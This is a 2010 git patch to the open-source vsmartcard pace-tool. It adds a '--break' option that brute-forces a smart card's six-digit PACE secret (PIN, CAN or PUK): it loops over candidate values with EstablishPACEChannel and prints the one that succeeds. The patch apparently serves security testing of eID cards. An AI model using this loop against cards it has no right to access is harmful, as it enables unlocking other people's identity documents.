From 94d72232db6b2bdb3efa8a71a6a2c765ecb6ba3e Mon Sep 17 00:00:00 2001 From: frankmorgner Date: Wed, 25 Aug 2010 13:25:10 +0000 Subject: [PATCH] added pace-tool can now break can, pin, puk with brute force git-svn-id: https://vsmartcard.svn.sourceforge.net/svnroot/vsmartcard@252 96b47cad-a561-4643-ad3b-153ac7d7599c --- ccid/src/pace-tool.c | 71 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 69 insertions(+), 2 deletions(-) diff --git a/ccid/src/pace-tool.c b/ccid/src/pace-tool.c index 9b96015..d6c70e6 100644 --- a/ccid/src/pace-tool.c +++ b/ccid/src/pace-tool.c @@ -30,6 +30,7 @@ static int verbose = 0; static int doinfo = 0; +static u8 dobreak = 0; static u8 dochangepin = 0; static u8 doresumepin = 0; static u8 dounblock = 0; @@ -58,6 +59,7 @@ static sc_reader_t *reader; #define OPT_PUK 'u' #define OPT_CAN 'a' #define OPT_MRZ 'z' +#define OPT_BREAK 'b' #define OPT_CHAT 'C' #define OPT_CERTDESC 'D' #define OPT_CHANGE_PIN 'N' @@ -76,6 +78,7 @@ static const struct option options[] = { { "puk", optional_argument, NULL, OPT_PUK }, { "can", optional_argument, NULL, OPT_CAN }, { "mrz", optional_argument, NULL, OPT_MRZ }, + { "break", no_argument, NULL, OPT_BREAK }, { "chat", required_argument, NULL, OPT_CHAT }, { "cert-desc", required_argument, NULL, OPT_CERTDESC }, { "new-pin", optional_argument, NULL, OPT_CHANGE_PIN }, @@ -94,6 +97,7 @@ static const char *option_help[] = { "Run PACE with PUK", "Run PACE with CAN", "Run PACE with MRZ (insert MRZ without newlines)", + "Brute force the secret (only for PIN, CAN, PUK)", "Card holder authorization template to use (hex string)", "Certificate description to use (hex string)", "Install a new PIN", @@ -179,7 +183,7 @@ main (int argc, char **argv) memset(&pace_output, 0, sizeof(pace_output)); while (1) { - i = getopt_long(argc, argv, "hr:i::u::a::z::C:D:N::RUtvoc:", options, &oindex); + i = getopt_long(argc, argv, "hr:i::u::a::z::bC:D:N::RUtvoc:", options, &oindex); if (i == -1) break; switch (i) { @@ -226,6 +230,9 @@ main (int argc, char **argv) if (!mrz) can = getenv("MRZ"); break; + case OPT_BREAK: + dobreak = 1; + break; case OPT_CHAT: pace_input.chat = chat; pace_input.chat_length = sizeof chat; @@ -301,6 +308,66 @@ main (int argc, char **argv) exit(1); } + if (dobreak) { + char can_ch[7]; + unsigned int can_nb = 0; + + if (usepin) { + pace_input.pin_id = PACE_PIN; + if (pin) { + if (sscanf(pin, "%u", &can_nb) != 1) { + fprintf(stderr, "PIN is not an unsigned integer."); + exit(2); + } + } + } else if (usecan) { + pace_input.pin_id = PACE_CAN; + if (can) { + if (sscanf(can, "%u", &can_nb) != 1) { + fprintf(stderr, "CAN is not an unsigned integer."); + exit(2); + } + } + } else if (usepuk) { + pace_input.pin_id = PACE_PUK; + if (puk) { + if (sscanf(puk, "%u", &can_nb) != 1) { + fprintf(stderr, "PUK is not an unsigned integer."); + exit(2); + } + } + } else { + fprintf(stderr, "Please specify whether to do PACE with " + "PIN, CAN or PUK."); + exit(1); + } + + sprintf(can_ch, "%06u", can_nb); + pace_input.pin = can_ch; + pace_input.pin_length = strlen(can_ch); + + t_start = time(NULL); + while (0 > EstablishPACEChannel(NULL, card, pace_input, &pace_output, + &sctx)) { + printf("Failed trying %s=%s\n", + pace_secret_name(pace_input.pin_id), pace_input.pin); + can_nb++; + sprintf(can_ch, "%06u", can_nb); + if (can_nb > 999999) + break; + } + t_end = time(NULL); + if (can_nb > 999999) { + printf("Tried breaking %s for %.0fs without success.\n", + pace_secret_name(pace_input.pin_id), difftime(t_end, t_start)); + goto err; + } else { + printf("Tried breaking %s for %.0fs with success.\n", + pace_secret_name(pace_input.pin_id), difftime(t_end, t_start)); + printf("%s=%s\n", pace_secret_name(pace_input.pin_id), pace_input.pin); + } + } + if (doresumepin) { pace_input.pin_id = PACE_CAN; if (can) { @@ -385,7 +452,7 @@ main (int argc, char **argv) printf("Changed PIN.\n"); } - if (dotranslate || (!doresumepin && !dochangepin && !dounblock)) { + if (dotranslate || (!doresumepin && !dochangepin && !dounblock && !dobreak)) { pace_input.pin = NULL; pace_input.pin_length = 0; if (usepin) {